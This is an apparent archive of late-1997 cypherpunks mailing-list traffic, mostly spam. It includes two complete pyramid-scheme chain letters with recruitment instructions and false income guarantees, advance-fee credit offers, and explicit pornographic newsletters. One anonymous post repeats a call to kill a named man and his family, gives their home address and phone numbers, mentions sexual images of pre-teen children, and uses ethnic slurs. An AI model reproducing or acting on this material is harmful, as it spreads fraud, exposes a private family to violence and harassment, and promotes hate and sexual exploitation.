   2.  IMPORTANT--DO NOT alter the names, or their sequence other than
       instructed in this program! Or you will not profit the way you
       should.
   
       Replace the name and address under REPORT #1 with yours, moving
       the one that was there down to REPORT #2.  Move the name and
       address under REPORT #2 to REPORT #3.  Move the name and address
       under REPORT #3 to REPORT #4.  The name and address that was under
       REPORT #4 is dropped off the list and is NO DOUBT on the way to
       the bank.
   
       When doing this, please make certain you copy everyone's name and
       address ACCURATELY!!!  Also, DO NOT move the Report/Product
       positions!
   
   3.  Take this entire program text, including the corrected names list,
       and save it on your computer.
   
   4.  Now send out your e-mail addresses with this EXACT message 
       (including the free address and software offer!). 
       This will ABSOLUTELY give you your best response. 
       This program has worked without the free offer, but now that you can 
       offer FREE e-mail addresses and software IT WILL EXPLODE! Anyone can 
       now succeed!  Another avenue to generate inquiries is an advertising campaign 
       on the WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive, 
       and there are HUNDREDS of FREE places to advertise.

           START YOUR AD CAMPAIGN AS SOON AS YOU CAN.
   
       ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
   
   
  REQUIRED REPORTS
   
   ***Order each REPORT by NUMBER and NAME***
   
  ALWAYS SEND  $5 CASH (Concealed) FOR EACH ORDER REQUESTING 
  THE SPECIFIC REPORT BY NAME AND NUMBER. ALWAYS SEND FIRST 
  CLASS OR PRIORITY MAIL. 
   
  ____________________________________________________
   REPORT #1 
   "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
   
   ORDER REPORT #1 FROM:
    Wolverine Communications
     PO Box 3008
     Hoboken, NJ 07030
    ________________________________________
   REPORT #2
   "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
   
   ORDER REPORT #2 FROM:
     A & J Marketing
     P. O. Box 2834
     Bay City, MI 48707         
  
  ___________________________________________________
   REPORT #3 
   "SOURCES FOR THE BEST MAILING LISTS"
   
   ORDER REPORT #3 FROM:
   Twin Marketing
   P.O. BOX 673
   Harbor City, CA 90710-0673
  
   
  ____________________________________________________
   REPORT #4 
   "EVALUATING MULTI-LEVEL SALES PLANS"
  
  ORDER REPORT #4 FROM:
    B & G Marketing
   101 E. Main St.
   Walnut Bottom, PA 17266
   
  ____________________________________________________
   
   
   HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
   
   Worse Case Scenario!
  Let's say you decide to start small just to see how it goes.  Assume your goal is to
  get 10 people to participate on your first level.   
  
  Follow this example for the STAGGERING results below:
   
   1st level --  your 10 members with $5  ($5 x 10)                      $50
   2nd level --10 members from those 10 ($5 x 100)                  $500
   3rd level -- 10 members from those 100 ($5 x 1,000)           $5,000
   4th level -- 10 members from those 1,000 ($5 x 10,000)     $50,000
                                   THIS TOTALS-----------                          $55,550
   
  Remember friends, this is assuming that the people who participate
  only recruit 10 people each.  Dare to think for a moment what would
  happen if everyone got 20 people to participate!  Many who do this
  over the Internet see 100's of recruits for Report #1!  THINK ABOUT IT!
   
  By the way, your cost to participate in this is practically nothing. You obviously   
  already have an Internet connection and email is FREE!!! Now with your 100,000 e-mail addresses
  and software for FREE, you will absolutely succeed!
   REMEMBER:  Approx. 50,000 new people get online monthly!
   
                       ORDER YOUR REPORTS NOW!!!
     
   
                       *******TIPS FOR SUCCESS*******
   
   TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY,
   so you will have them when the orders start coming in because:
   When you receive a $5 order, you MUST send out the requested product/
   report to comply with the U.S. Postal & Lottery Laws, Title 18,
   Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code,
   also Code of Federal Regs. vol. 16, Sections 255 and 436, which
   state that "a product or service must be exchanged for money received."
   
  · ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
   
  · BE PATIENT AND PERSISTENT WITH THIS PROGRAM.  
  If you follow the instructions exactly the results WILL BE SUCCESS!
   
  · ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!
   
   
                *******YOUR SUCCESS GUIDELINE*******
   
  The check point that guarantees your success is simply this:
  
  You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  
  If you don't within two weeks, advertise more and send out more programs
  until you do.  
  
  2 weeks later  you should receive at least 100 orders for REPORT #2.  
  If you don't, advertise more and send out more programs until you do.  
  Once you have received 100, or more orders for REPORT #2, YOU CAN 
  RELAX, because you will be on your way to the BANK!  -OR-  You can 
  DOUBLE your efforts!
   
   REMEMBER:  Every time your name is moved down on the list you are in
   front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS
   by what report people are ordering from you. IT'S THAT EASY!!!
   
   NOTE:  IF YOU NEED HELP with starting a business, registering a business
   name, how income tax is handled, etc., contact your local office of the Small 
  Business Administration (a Federal agency) for free help and answers to questions.  
  Also, the Internal Revenue Service offers free help via telephone and free seminars 
  about business taxes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka@eureka.abc-web.com
Date: Sat, 27 Dec 1997 01:07:03 -0800 (PST)
To: All Eureka! Subscribers: ;
Subject: Eureka! Sat Dec 27 '97
Message-ID: <19971227080944.8013.qmail@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Saturday's issue of Eureka!

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------------------------------------------------------------
If you would like to unsubscribe from the Eureka! Newsletter
simply select reply and send us a quick reply to this email.
------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zewioca@delphi.com
Date: Fri, 26 Dec 1997 23:36:20 -0800 (PST)
To: billyjojimbob@whostruckjohn.com
Subject: wiggie woo for free
Message-ID: <199712263175KAA16001@smtp<449090451>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: M0RTGMAN@hotmail.com
Date: Sat, 27 Dec 1997 18:49:46 -0800 (PST)
To: Everyone@the.net
Subject: $215 Billion Electricity Industry Deregulates Jan "98
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*** ELECTRICITY DEREGULATION ***
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   IT'S REAL AND COMING IN JANUARY!!! 
THIS IS THE BUSINESS OPPORTUNITY OF THE CENTURY!!! 
Grab your share of this $215 Billion Dollar Industry!!
What does this mean!

* You can sell Electricity at up to 40% lower rates
  than Major Utilities!
* Cut your own electric bill 10-40%!
* Make money on the electricity others use whenever 
  someone turns on a light!

The time is NOW!!  YOU could be one of the first in 
your state or country to sieze this amazing opportunity!
Don't wait another minute!    

This will be the opportunity of 1998!!  It is 3 times as
big as the telecommunications industry was when it 
deregulated!

For more information, send and email to 
de.regulation@pemail.net please put electric in subject

To be removed from you list, please send email to
de.regulation@pemail.net please put remove in subject

We look forward to working with you!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kae28@nims.nec.co.jp
Date: Sun, 28 Dec 1997 04:01:07 -0800 (PST)
To: kae28@nims.nec.co.jp
Subject: XXX ADULT SEX!!!
Message-ID: <1997122815IAA3807@post.214.38.64>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka@eureka.abc-web.com
Date: Sun, 28 Dec 1997 02:13:44 -0800 (PST)
To: All Eureka! Subscribers: ;
Subject: Eureka! Sun Dec 28 '97
Message-ID: <19971228081728.9898.qmail@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Sunday's issue of Eureka!

PUSSY PARADISE
Yet again Eureka! has managed  to negotiate a special week's
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If you would like to unsubscribe from the Eureka! Newsletter
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------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ForInformationCall@1-718-363-0723
Date: Sun, 28 Dec 1997 17:09:52 -0800 (PST)
To: WiseFolks@UwiseFolk.com
Subject: Get Back To Health and Savings!
Message-ID: <35629699_56846129>
MIME-Version: 1.0
Content-Type: text/plain



 *********************************************************
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@aidsactionleague.org
Date: Mon, 29 Dec 1997 02:43:43 -0800 (PST)
To: info@aidsactionleague.org
Subject: 10 Minute Bank of America Boycott
Message-ID: <199712291043.CAA10684@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE TAKE 10 MINUTES!


CALL 1-800-678-2632.  

TELL BANK OF AMERICA TO GET GOVERNOR WILSON TO DO MORE TO PREVENT AIDS. Call Bank of America and tell them to urge Governor Wilson to declare a Medical State of
Emergency for AIDS in California.

WHY A STATE OF EMERGENCY FOR AIDS? Because AIDS is a health issue and should be in the hands of the Health Department. 

WHY Bank of America?  BofA spends half a million dollars a year lobbying. Bank Of America  makes large contributions to Governor Wilson. When Bank of America speaks Governor Wilson listens.  

WHY CALL? If you call 1-800-678-2632 and spend ten minutes on the phone,  it costs
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WHY A TEN MINUTE BOYCOTT? If 5 to 10 thousand people call a day and they each spend 10 minuteds on the the phone---- the phone bill for BofA will be enough to convince the bank to help, to do something decent for society.

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President
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______________________________________________________________


Visit our web site: www.aidsactionleague.org
e-mail: info@aidsactionleague.org


///////////////////////////////////////////////////////////////////////////////
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 650reports@hotmail.com (650+ Reports on a CD...)
Date: Mon, 29 Dec 1997 06:33:42 -0800 (PST)
To: 650reports@hotmail.com
Subject: Start Making Money in '98...!!!
Message-ID: <199712294180LAA49925@post.exp.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

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m




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka@eureka.abc-web.com
Date: Mon, 29 Dec 1997 01:49:11 -0800 (PST)
To: All Eureka! Subscribers: ;
Subject: Eureka! Mon Dec 29 '97
Message-ID: <19971229081019.4249.qmail@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain


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This chat is growing fast, and already there are a number of
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------------------------------------------------------------
If you would like to unsubscribe from the Eureka! Newsletter
simply select reply and send us a quick reply to this email.
------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kb1LGeasG@206.165.6.202
Date: Mon, 29 Dec 1997 22:42:47 -0800 (PST)
To: Your, New, Merchant, Account, is, Here
Subject: Your New Merchant Account is Waiting
Message-ID: <G84OpMWe2zj>
MIME-Version: 1.0
Content-Type: text/plain



Your New Merchant Account is HERE.

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>>>  No Financial Statements
>>>>>  No Tax Returns
>>>>>>>  No Trade References
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ALWAYS have to go through.

Maybe You Have

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>>>  An Internet Business
>>>>>  A Home Based Business
>>>>>>>  No Past Financial Statements
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>>>>>>>>>>>  Past Credit Problems
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Call 1-800-601-2612 Today.












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: reality@kcsmarketing.com
Date: Mon, 29 Dec 1997 20:47:16 -0800 (PST)
To: reality@kcsmarketing.com
Subject: need a life Style Change ?
Message-ID: <199712300445.XAA02467@ns.kcsmarketing.com>
MIME-Version: 1.0
Content-Type: text/plain


This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
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///////////////////////////////////////////////////////////////////

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: moneyman@opportunitygroup.com
Date: Tue, 30 Dec 1997 10:25:55 -0800 (PST)
To: Friend@public.com
Subject: Where have you been?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Joint Venture Associates has joined hands with one of the Nation's Largest
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We have tried to make the process of getting  your unsecured credit card
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CREDIT CARD PROCESSING FORM    

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Country______________________________________

E-mail _____________________________________________________

Amount of Credit Desired ($5,000 Max) __________________________

How do you rate your credit rating? (  ) Great  (  ) Fair  (  ) Poor

Make all checks, money orders and cashiers checks payable to:Joint Venture
Associates.  If faxing your processing form and processing fee, fax to the following
number (954) 970-3130

If mailing you processing form and processing fee, mail to the following
address:

Joint Venture associates
1291A South Powerline Rd., Suite #101
Pompano Beach, FL 33069


 










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott@planet.eon.net
Date: Tue, 30 Dec 1997 09:14:09 -0800 (PST)
To: money@nobody2.com
Subject: Money Maker
Message-ID: <9578.GAA08056@somewhere.com>
MIME-Version: 1.0
Content-Type: text/plain


 PRINT this letter, read the directions, THEN READ IT AGAIN !!!

 You are about to embark on the most profitable and unique program you may ever see.
  Many times over, it has demonstrated and proven its ability to generate large amounts of . 
 This program is showing fantastic appeal with a huge and ever-growing on-line population desirous of additional income.
 
 This is a legitimate, LEGAL, money-making opportunity.
 It does not require you to come in contact with people, do any hard work,
 and best of all, you never have to leave the house, except to get the mail and go to the bank!  
 
 This truly is that lucky break you've been waiting for!  Simply follow the easy instructions in this letter, 
and your financial dreams will come true! When followed correctly, this electronic, multi-level marketing program works perfectly...100% EVERY TIME! 
 
 Thousands of people have used this program to:
     -  Raise capital to start their own business
     -  Pay off debts
     -  Buy homes, cars, etc., 
     -  Even retire! 
 
 This is your chance, so don't pass it up!
 
OVERVIEW OF THIS EXTRAORDINARY 
 ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
Basically, this is what we do:
 
 We send thousands of people a product for $5.00 that costs next to nothing to produce and e-mail.
 As with all multi-level businesses, we build our business by recruiting new partners and selling our products.  
Every state in the U.S. allows you to recruit new multi- level business online (via your computer).
 
 The products in this program are a series of four business and financial reports costing $5.00 each.  Each order you receive via "snail mail" will include:
 
   $5.00 cash
   * The name and number of the report they are ordering
   * The e-mail address where you will e-mail them the report they ordered.
 
 To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!  The $5.00 is yours! This is the electronic multi-level marketing business anywhere! 
 
 FOLLOW THE INSTRUCTIONS TO THE LETTER AND
 BE PREPARED TO REAP THE STAGGERING BENEFITS!
 
 >I  N  S  T  R  U  C  T  I  O  N  S
 This is what you MUST do:
 
 1. Order all 4 reports shown on the list below (you can't sell them if you don't order them).
      
      *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
         REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
         RETURN POSTAL ADDRESS(in case of a problem) to the person whose 
         name appears on the list next to the report.
   
      *  When you place your order, make sure you order each of the four
         reports.  You will need all four reports so that you can save them
         on your computer and resell them.
 
      *  Within a few days you will receive, via e-mail, each of the four reports. 
          Save them on your computer so they will be accessible for you to send 
          to the 1,000's of people who will order them from you.
 
 2.  IMPORTANT-- DO NOT alter the names of the people who are listed next 
      to each report, or their sequence on the list, in any way other than is
      instructed below in steps "a" through "d" or you will lose out on the
      majority of your profits. Once you  understand the way this works, you'll 
      also see how it doesn't work if you change it. Remember, this method 
      has been tested, and if you alter it, it will not work.
 
     a.  Look below for the listing of available reports.
 
     b.  After you've ordered the four reports, replace the name and address 
          under REPORT #1 with your name and address, moving the one that 
          was there down to REPORT #2.  
 
     c.  Move the name and address that was under REPORT #2 down to 
          REPORT #3.  
 
     d.  Move the name and address that was under REPORT #3 down to 
          REPORT #4.  
 
     e.  The name and address that was under REPORT #4 is removed from
          the list and has NO DOUBT collected their 50 grand.
 
Please make sure you copy everyone's name and address ACCURATELY!!!
>
 3.  Take this entire letter, including the modified list of names, and save 
      it to your computer.  Make NO changes to the instruction portion of this 
      letter.
   
 4.  Now you're ready to start an advertising campaign on the
      WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
      and there are HUNDREDS of FREE places to advertise. Another
      avenue which you could use for advertising is e-mail lists.  
      You can buy these lists for under $20/2,000 addresses or you
      can pay someone a minimal charge to take care of it for you. 
      BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!
 
 5.  For every $5.00 you receive, all you must do is e-mail them the report
      they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE 
      ON ALL ORDERS!  This will guarantee that the e-mail THEY send out,
      with YOUR name and address on it, will be prompt because they can't
      advertise until they receive the report!
 
 AVAILABLE REPORTS
 Order Each REPORT by NUMBER and NAME

 Notes:
 -  ALWAYS SEND $5 CASH FOR EACH REPORT 
 -  ALWAYS SEND YOUR ORDER VIA FIRST CLASS  MAIL 
 -  Make sure the cash is concealed by wrapping it in at least two sheets of paper  
 -  On one of those sheets of paper, include: (a) the number & name of the report you are ordering, (b) your e-mail address, and (c) your postal address.
 _________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 
 
 ORDER REPORT #1 FROM:  
              SGBIS 
              P.O. BOX 1308 
              WILDOMAR, CA. 92595
__________________________________________________________
 REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"<
 
 ORDER REPORT #2 FROM:
             AIK
             10629 Woodbridge Ave. Ste. 104
             Toluca Lake, CA 91602
 _________________________________________________________________
 REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"
 
 ORDER REPORT #3 FROM:
             RCC Enterprises
             24303 Woolsey Cyn. #1
             West Hills, CA 91304
 _________________________________________________________________
REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"
 
 ORDER REPORT #4 FROM:
             CJW Marketing
             5142 Magnolia Blossom Blvd.
             Gahanna, OH 43229
             
 _________________________________________________________________
 HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU MONEY
 

 Let's say you decide to start small just to see how well it works. Assume your goal is to get 10 people to participate on your first level.
 (Placing a lot of FREE ads on the internet will EASILY get a larger response.)
 Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline members.  
Follow this example to achieve the STAGGERING results below.
 
 1st level--your 10 members with $5...........................................$50
 2nd level--10 members from those 10 ($5 x 100)..................$500
 3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
 4th level--10 members from those 1,000 ($5 x 10,000)...<U>$50,000</U>
                                                    THIS TOTALS        ----------->$55,550
 Remember friends, this assumes that the people who participate only recruit 10 people each.
  Think for a moment what would happen if they got 20 people to participate! Most people get 100's of participants THINK ABOUT IT!
 
 Your cost to participate in this is practically nothing (surely you can afford $20).
 You obviously already have an internet connection and e-mail is FREE!!!
REPORT#3 shows you the most productive methods for bulk e-mailing and purchasing e-mail lists.  Some list & bulk e-mail vendors even work on trade!
 About 50,000 new people get online every month!
 
TIPS FOR SUCCESS

  *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow 
      the directions accurately.
 
  *  Send for the four reports IMMEDIATELY so you will have them when 
     the orders start coming in because:
 
     When you receive a $5 order, you MUST send out the requested
     product/report to comply with the U.S. Postal & Lottery Laws, Title
     18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S. Code,
     also Code of Federal Regs. vol. 16, Sections 255 and 436, which state 
     that "a product or service must be exchanged for money received."
 
  *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
 
  *  Be patient and persistent with this program. If you follow the 
     instructions exactly, the results WILL undoubtedly be SUCCESSFUL!
 
  *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!
 
YOUR SUCCESS GUIDELINE

 Follow these guidelines to guarantee your success:
 
 If you don't receive 10 to 20 orders for REPORT #1 within two weeks, continue advertising until you do. 
 Then, a couple of weeks later you should receive at least 100 orders fo
r REPORT #2.  If you don't, continue advertising until you do. 
 Once you have received 100 or more orders for
 REPORT #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in!
 
 THIS IS IMPORTANT TO REMEMBER:
 
 Every time your name is moved down on the list, you are placed in front of a DIFFERENT report. 
 You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you.
  If you want to generate more income, send another batch of e-mails and start the whole process again! 
 There is no limit to the income you will generate from this business!
 
 NOTE:  If you need help with starting a business, registering a business name, 
 how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal agency)
 for free help and answers to questions.
 Also, the Internal Revenue Service offers free help via telephone and free seminars about business taxes.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka@eureka.abc-web.com
Date: Tue, 30 Dec 1997 00:25:20 -0800 (PST)
To: All Eureka! Subscribers: ;
Subject: Eureka! Tue Dec 30 '97
Message-ID: <19971230080609.1232.qmail@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Tuesday's issue of Eureka!

PLAYGAL
This is truly a breathtaking site. Well-designed and easy to
use with  excellent content.  The tour alone has hotter porn
than many other 'free' sites - go see it now. It's explicit,
comprehensive and top quality.  There are 2,000  video feeds
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1,000s of top quality pix, adult and arcade games, real ama-
teur competitions and much more. Click now and be astounded!
Playgal .... http://www.playgal.com/playgal/banner_abc1.html

EUREKA! is now  available in FOUR languages.  So now you can
choose  from  one  or more  of  these  following  languages!
FRANÇAIS ..... http://eureka.abc-web.com/eureka/francais.htm
DEUTSCH ....... http://eureka.abc-web.com/eureka/deutsch.htm
ESPAÑOL ....... http://eureka.abc-web.com/eureka/espanol.htm

THE BABE GALLERY
Go down the page about half way to the galleries. From there
you have a choice of several different woman, each featuring
a decent looking babe in a bunch of poses. Nice pussy shots.
The Babe Gallery .......... http://www.the-babe-gallery.com/

MIDNIGHT DESIRES
We have a free movie here!  You'll need the vivo player.  It
features a terrific  blowjob scene of some hot tramp sucking
off her boss, or is it her office boy? Cool clip with sound!
Midnight ........ http://www.midnightdesires.com/default.htm

SEXTREME
Wow, this site is loaded with easy to surf hot and horny pix
all free for you!  Foreplay, group sex, lesbians, models and
a whole lot more. You might want to bookmark this one! Yeah!
Sextreme .................. http://199.166.219.149/sextreme/

ABNORMALLY BIG BOOBS
Well I guess so!  There are some extra large hooters here to
say the very least.  All of the pix are  listed by boob size 
with great thumbnails. This is a must surf for all tit fans!
Abnormally Big ...... http://204.177.222.200/~paul/boobs.htm
FREE STREAMING VIDEO
Please note that most of these feeds require a Netscape bro-
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yet.  However, many of the feeds use the RealPlayer and will
work in most browsers.  If you do not have Netscape and want
a free copy click here ... http://www.netscape.com/download/
Just 18 ........................ http://204.244.215.7/teens/

CHAT WITH OTHER READERS
This chat is growing fast, and already there are a number of
regulars  you will meet most days.  It's good to see Eureka!
readers interacting with each other and having a great time!
Just surf in and have fun! ...... http://137.39.63.229/chat/

THE BEST PHONE SEX
Live Hetero 1-on-1, 2-on-1, group, dateline...1-800-644-8779
FREE Hetero live 1-on-1 (international call)...011-678-77416
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AMATEUR SITE OF THE DAY
EMERALD:  Another hot  Asian amateur.  This young  lady is a
hoot, she has a wit that almost  outshines her perfect body!
One of  her missions is to  destroy the bimbo image and exp-
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quite a following! ......... http://amateurindex.com/eureka/

TODAY'S FREE PIX
We decided to  start releasing  our super duper  new picture
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going to enjoy these ones.  There's plenty more variety too!
Pic  1 ........................... http://137.39.63.229/?300
Pic  2 ........................... http://137.39.63.229/?301
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Pic  5 ........................... http://137.39.63.229/?304
Pic  6 ........................... http://137.39.63.229/?305
Pic  7 ........................... http://137.39.63.229/?306
Pic  8 ........................... http://137.39.63.229/?307
Pic  9 ........................... http://137.39.63.229/?308
Pic 10 ........................... http://137.39.63.229/?309
PLEASE VISIT THIS FINE EUREKA! MEMBER SITE
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Memberships include,40,000 jpg pix,over 300 live hardcore
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clips, 300 sexy stories and x-rated games to play offline.


------------------------------------------------------------
If you would like to unsubscribe from the Eureka! Newsletter
simply select reply and send us a quick reply to this email.
------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: benoi@aol.com
Date: Tue, 30 Dec 1997 15:49:09 -0800 (PST)
To: benoi@aol.com
Subject: Advertise On the Internet For Free
Message-ID: <199712293500ZAA36542@post.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Business Owners and Marketing Managers:

I am writing to invite you to have a free listing for your business in the
new National Direct Internet Yellow Pages.

Even if you already have your business listed or advertise somewhere else,
you will want to take advantage of this opportunity to extend your marketing
and reach more of your local customers and prospects.

Over 5.5 million hits were received on the National Direct site last
month alone. Today many of your local prospects are going online to
browse--and buy, and to reach as many potential customers as National Direct
you would have to advertise in over 6500 yellow page books.

Here's how the system works:  When someone wants your type of service, they
simply go online to http://www.ndiyp.com

     Then they type in the area code for the location they want.
     Finally, they type in what they are looking for.
     As long as you are listed, your business will come up on their screen.

Larger ads get more attention, of course, and cost little. But your
basic listing in the National Direct Internet Yellow Pages is yours free.

To claim your listing. simply fill out the form and return it via e-mail to
us asap. We'll see your business gets listed right away. Our e-mail address
is toppy15@hotmail.com

If you have any questions, please feel free to call (405) 942-5811 Monday -
Friday 8-5.

Please Complete Entire Form:

Your Name:
Your Title:
Company Name:
Company Address:
City/State/Zip:
Telephone Number:
Fax Number:
Type of Business:
e-mail address:
Web site address:
Would you like information on larger classified or display ads?

Return to<A HREF="mailto:toppy15@hotmail.com">CLICK HERE




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Dec 1997 21:34:16 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: No Subject
Message-ID: <db07d071dcdf9a13e505c3d6c9dc7389@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain


I tried sending an anonymous test article to comp.org.cauce via the CRACKER
remailer.  Sure enough, the Gypsie Jew Zorch forged a cancel for my article:

>From: scott@zorch.sf-bay.org (Scott Hazen Mueller)
>Newsgroups: comp.org.cauce
>Subject: cancelled posting
>Date: 30 Dec 1997 13:25:04 -0500
>Organization: At Home; Salida, CA
>Lines: 26
>Sender: johnl@iecc.com
>Approved: comp.org.cauce@abuse.net
>Message-ID: <EM0LFH.Bn3@zorch.SF-Bay.ORG>
>Reply-To: scott@zorch.sf-bay.org
>NNTP-Posting-Host: ivan.iecc.com
>X-submission-address: comp-org-cauce@abuse.net
>X-Authentication-Warning: orbit.hooked.net: Uzorch set sender to news@zorch.sf-bay.org using -f
>X-Nntp-Posting-Host: localhost.sf-bay.org
>Path: ...!iecc.com!iecc.com!not-for-mail
>
>I have issued a cancel for the following posting to comp.org.cauce.  Death
>threats are serious business.
>
>Xref: zorch comp.org.cauce:378
>Path: zorch!news.well.com!noos.hooked.net!204.156.128.20.MISMATCH!news1.best.com
>!news.maxwell.syr.edu!news-peer.sprintlink.net!news-sea-19.sprintlink.net!news-i
>n-west.sprintlink.net!news.sprintlink.net!Sprint!205.238.207.65!iecc.com!iecc.co
>m!not-for-mail
>From: Anonymous <anon@anon.efga.org>
>Newsgroups: comp.org.cauce
>Subject: CAUCE offers a $50,000 (canadian) reward for killing Chris Lewis, his w
>ife, and the kid
>Date: 30 Dec 1997 10:58:17 -0500
>Organization: I.E.C.C., Trumansburg NY
>Lines: 14
>Sender: johnl@iecc.com
>Approved: comp.org.cauce@abuse.net
>Message-ID: <b8d6450efb8581fa6190e92216c92e16@anon.efga.org>
>NNTP-Posting-Host: ivan.iecc.com
>X-submission-address: comp-org-cauce@abuse.net
>Comments: This message did not originate from the Sender address above.
>        It was remailed automatically by anonymizing remailer software.
>        Please report problems or inappropriate use to the
>        remailer administrator at <admin@anon.efga.org>.

My cancelled Usenet article offered a reward for killing the spammer:

>CAUCE, the enforcement branch of the Internet administration, is dedicated to
>exterminating all SPAMMERS by any means necessary. CAUCE wants Chris Lewis and
>all other SPAMMERS dead, and will gladly pay the $50,000 (canadian) reward to
>whomever KILLS Chris Lewis and his family, who reside in a suburb of Ottawa:
>
>483 Vances Side Road
>Dunrobin, Ontario K0A 1T0
>CANADA
>Home telephone: (613) 832-0541,
>Office telephone: (613) 763-2935
>
>After you kill Chris Lewis and his family, please see http://www.cauce.org
>for information on how to collect your CAUCE reward.

This is fucking censorship!  I'm putting the notice of the CAUCE reward on my
web home page at http://www.panix.com/~guy, right next to the pictures of the
pre-teen kids screwing.  Fuck you, Zorch, you're next after C, P, and G Lewis.

---guy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Information Security <guy@panix.com>
Date: Wed, 31 Dec 1997 00:35:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Vulis again
Message-ID: <199712310835.DAA16962@panix2.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


   >   I tried sending an anonymous test article to comp.org.cauce via the CRACKER
   >   remailer.  Sure enough, the Gypsie Jew Zorch forged a cancel for my article:

Vulis, you are the only Gypsie Jew around here.

Half Romanian Gypsie, half Hungarian Jew.
---guy




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka@eureka.abc-web.com
Date: Wed, 31 Dec 1997 00:51:51 -0800 (PST)
To: All Eureka! Subscribers: ;
Subject: Eureka! Wed Dec 31 '97
Message-ID: <19971231080958.3231.qmail@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Wednesday's issue of Eureka!

PINKBITS
Voted the  #1 Teen (18+) site  on the web,  this is  one pay
site you  don't want  to miss out on!  Here's just one quote
from a satisfied member:  "This site delivers awesome value.
I have been a member of 3 other sites,  and this is the best
by far. It has the best pics, more live video, younger girls
and more  hardcore cumshots  than the  other sites  put tog-
ether".  And we have negotiated a special FREE trial member-
ship for Eureka subscribers, so don't take our word, go see!
PinkBits .. http://207.33.10.198/cgi-bin/gate1/pbm/pb_0024/0

TEENGAY
This is the hottest gay club on the net. Whether you are gay
or gay curious,  this site  has the lot.  And like we always
try to do, we've arranged another FREE trial for all Eureka!
subscribers. So surf over and check out the huge photo gall-
ery,  hot gay  features,  hard  sex videos,  erotic stories,
phone sex and even live gay chat rooms.  You'll find it all!
TeenGay ... http://207.33.10.198/cgi-bin/gate1/pbm/tg_0024/0

EUREKA! is now  available in FOUR languages.  So now you can
choose  from  one  or more  of  these  following  languages!
FRANÇAIS ..... http://eureka.abc-web.com/eureka/francais.htm
DEUTSCH ....... http://eureka.abc-web.com/eureka/deutsch.htm
